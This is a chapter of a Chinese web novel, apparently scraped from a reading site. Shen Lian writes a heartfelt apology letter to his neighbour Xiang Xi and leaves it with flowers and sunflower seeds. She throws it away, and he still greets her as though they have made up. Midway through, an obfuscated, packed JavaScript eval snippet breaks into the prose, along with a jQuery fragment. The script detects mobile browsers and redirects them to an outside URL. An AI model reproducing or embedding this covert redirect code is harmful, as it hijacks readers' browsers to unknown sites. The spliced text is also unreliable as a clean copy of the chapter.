17. 扔掉道歉信
作品:《画了对家黑图后我爆火了》 找沈宗明拿到纸墨,回想一下老师作文课讲的信文格式,沈潋落笔就道:
“尊敬的向希:
您好!”
他写着时,小帅就坐在旁边一字字念出,但是小帅认识的字不多,念得又坑坑洼洼。
“哼哼的向希,你心好。”
短短一个开头,就把沈潋从想要认真道歉的沉浸里拉了出来。
这可不行。
嫌弃地用笔杆敲了下他头,沈潋道:“我来念,你闭嘴。”
“尊敬的向希:
您好!”
老早就收起平时的随意,此时更加认真、正经。腔调庄重,又带着自己那份清亮,咬字字正腔圆。
他学过演讲,因为哥哥总作为优秀学生上台演讲,对他抱有同样期待的沈慎和风利老早就把他丢到兴趣班学这儿学那儿做准备。
沈潋也的确不负期待上过无数次讲台,只是每次都是作为学习态度恶劣、品行不端的坏学生代表,演讲他那劣迹斑斑的检讨。
“很抱歉在12月13日上午因一时恼怒摔碎你的石膏娃娃,为此我万分后悔。”
语调跟着情感的流动抑扬顿挫,带着情感的,还有他苍劲的字骨。他还上过书法,字也可以写的极端正。
刻意强调笔锋流转,连标点符号都标致有力,字骨淌着浓厚的水墨,势要让道歉对象感受到他满满的诚意。
“为了弥补错误,本想买一个原样的石膏娃娃送你,却因各个老板都没货了失败。后来去花摊找向日葵,老板又说向日葵只开夏季,于是我在花摊买了束腊梅,感觉它的颜色和向日葵最相近。但必然不是它,我就又买了一包向日葵种子,希望它们开出的花朵和你画的石膏娃娃一样漂亮。
买完后回来找你,敲门时你不在家,所以写下了这封道歉信,我真心希望你能接受我的道歉,往后我会控制情绪,不再随性破坏别人的东西,非常希望你能原谅我!非常对不起!
沈潋
2013年12月13日”
日期一落,就代表着这信写完了,
天气冷,宋春晓开了房间的暖气,沈潋写时面红耳赤,写完后才觉热,脱掉厚实的羽绒服,畅快极了。
扣上笔盖,钢笔随意一丢,举起写了大本页道歉信,越看越觉得满意。
向希一定会消气的,对吧?
灯光透过黄纸背,墨色的字犹如层层山峦,轻薄薄的一张纸,挂着他无限的美好期望。
叠好放后,把它和种子一起放进信封,两人把他们轻手放在向希家门,小帅有问过沈潋要不要再敲敲门试试,沈潋摇摇头。
“她要是现在回来了,明早推开门能见到,要是没有,回来时也能看到,该说的纸上都写了,当面说也没那么重要了。”
沈潋现在感受到了一个词——肺腑之言,洋洋洒洒的道歉信,每一个字都是他最真诚的道歉。
腊梅轻倚着铁门,楼间的穿堂风呼啸而过,却没挂落一颗花骨朵,信封被他们插在花杆中,封面也是苍劲的三个墨字。
“道歉信”
她一定会原谅的我的。
沈潋坚定地想着。
等和她和好了,就拉上她一起去打街机、吃泡面,带着她把广场上所有小摊逛个遍,想玩的玩,想吃的吃,这次来清风巷他偷偷带了很多钱,向希的所有要求他都可以满足。
她会和小帅一样成为自己在清风巷最好的朋友!
那晚他都是想着这个入眠的,梦里还有向希的笑脸。
“啪!”
哪想第二天腊梅还被发现,就被重重地推倒,枝桠上的花骨朵碎了一地,连着破碎的还有他那天真的白日梦。
向希感受到门后有东西被她推倒,绕去查看,粗壮的腊梅枝只剩下光秃秃的枝骨,只有鲜少的花骨朵还坚强地挂在枝桠,但一夜的冷风早已把它们吹得瑟缩,轻轻一碰,也落进了地上无数的花朵残骸中。
暗淡的腊梅花覆盖在信封上,向希把枝干推开,拨开花堆才见着。
还在想这花哪里来的,信封上的字一显露,一下就了然了。
收回手,站起身,回房的脚步毫不留情地碾过地上的花朵,原先干干净净的信封上,印上了脏乱的脚印和花汁。
很快,向希拿着扫帚和簸箕出来,迅速地收拾干净这些垃圾,用一个黑色垃圾袋装着,扔进了楼下的垃圾桶。
过长的枝干冒出袋头,还有几朵稀疏的小花开在上面,可怜的花儿不但要继续吹冷风,还要忍受脏臭的垃圾。
如果它能说话,一定会求求向希把它留下。
但面前人的心,比冷风还冷。
内力是白色的高领毛衣,外面是灰色印花夹袄,后面背着书包,里面装着无数个画筒。
一尘不改的只有她那高挑的马尾,但是今天有几绺碎发搭在两鬓,有些长的将她瘦削的脸骨切得更犀利。
向希昨晚的觉睡得一点也不好,脑子里的东西太混乱了,梦里都是一片混沌,她听到了好多吵架声,什么不要,什么你的,什么滚开,似乎有两个人影一直在她面前推推搡搡,但她从没见过这两人。
不知道第几次被惊醒,向希起床去客厅找水压惊,阳台上窗没关,风蹿进来,搅得小菜园影影绰绰。
幽暗的夜里,分不清摇晃的黑影都是些什么,只知很密很满,满的他们头打着头,再不能挤进别的事物。
但向希知道,那里缺了一个东西。
她回房拿了个毛毯,躺上了阳台上的摇椅。
夜风轻轻地吹,躺椅轻轻地摇,轻轻地,她又进入了梦乡。
虽然梦乡任就混沌,但现在多了一个她认识的人,那人满头银发,紧紧地抱着她。
沈潋不知道信封还没被拆开就被扫走,花朵吹了一夜冷风颜色暗淡无光,被叫醒时第一次不是和沈宗明闹起床气,而是带着激动冲出房门。
向希走时天还没破晓,如今晨光穿过镂空的楼道墙壁照进来,劈开明亮的一角。
见到铁门前没了东西,沈潋两眼放光。
向希拿走了花,一定是原谅我了。
沈炼今天是在小区里面玩的,因为想“偶遇”向希。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308244|166665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
作为刚吵完架复合的“朋友”,肯定要一起玩乐修复情感,他就又开始在各个向希可能出现的地方蹲人。
大门口、滑滑梯、第二次相遇的小道、菜场、单元门楼下……
日子过得更过去讨厌她时很像,但现在不是怨夫,而是“望妻”。
他望了很久,望到清风吹了一阵又一阵,气温渐冷,望到太阳落下白天又换成黑夜。路灯亮起时,他终于望到了想见的人。
马尾依旧高挑,碎发依旧搭在两侧,见着远处的沈潋时,眼里划过一抹憎恨,搂紧身上的衣服,低头想装作没看见走过。
沈潋离着她还很远,自是看不见她那抹转瞬即逝的憎恨,见向希低下头,还深怕她看不见自己,挥着手,高声喊道:
“向希,晚上好啊,你怎么才回来!”
“……”
这下不能装作没看见了。
向希很无语,更紧地搂住衣服。
抬头冷漠地扫了他一眼,而后又假装在看别的东西,那就在离他只有一步时打个招呼吧。
“晚上好。”
也只有一声招呼。
说完后,她步子迈得更大,更急,沈潋都来不及问问她今天去干了什么,这人下一秒都直接进了单元楼,徒留一个背着包的背影给他。
走这么急干什么?
沈潋抓紧追上,没察觉向希猛然升起的不适,努力缩在边缘想离得远远的抗拒,自顾自地道:
“我等了你一天,你怎么这么晚才回来?去干什么了呀?背着的书包里装了什么?”
向希抓着扶梯上楼,这样可以把一些隐藏情绪转移出去,手先出,像是打在扶梯上一般,而后用力紧握,大半是拉着身体向上走。
楼梯间是声控灯,跟着他们的脚步声而亮,色泽和外面的月光一般凄凉,映着她瘦削的侧脸,如孤峰般盛气凌人的鼻骨,以及黑沉的碎发。
她一直看着前方,不想看这人一眼。
“去见亲人,离得远,所以回来的晚。”
她平淡地回道。
虽然很讨厌他,但碍于邻居关系,还有宋春晓他们的缘故,向希知道自己不能把关系闹得太僵硬。
她今天出发的早,又见沈潋兴奋的样,敢笃定这人不知道自己把他的道歉信和花丢在了垃圾桶。
虽然不接受,也是个很好的台阶,让他假以为他们之间早就翻篇了,免得沈爷爷他们见到了自己又谈她和沈潋的关系问题。
老人家都喜欢自己的晚辈们和和气气的,在让沈潋向她道歉之前,遇见过她一两次,借着某些话题侧面透露出一些希望两人也能成为朋友的想法。
向希当时想着顺其自然,现在是天打五雷轰都不可能。
而且要绕着走,离得越远越好!
沈潋还想和她继续聊天,但向希无比庆幸他们就在二楼,眨眼工夫就到了,只要向希不想,沈潋就没机会缠着她不放。
最后几级楼梯只给了他再说一句话的可能性,他仓促道:
“那你爸爸妈妈呢,怎么没和你一起回来?”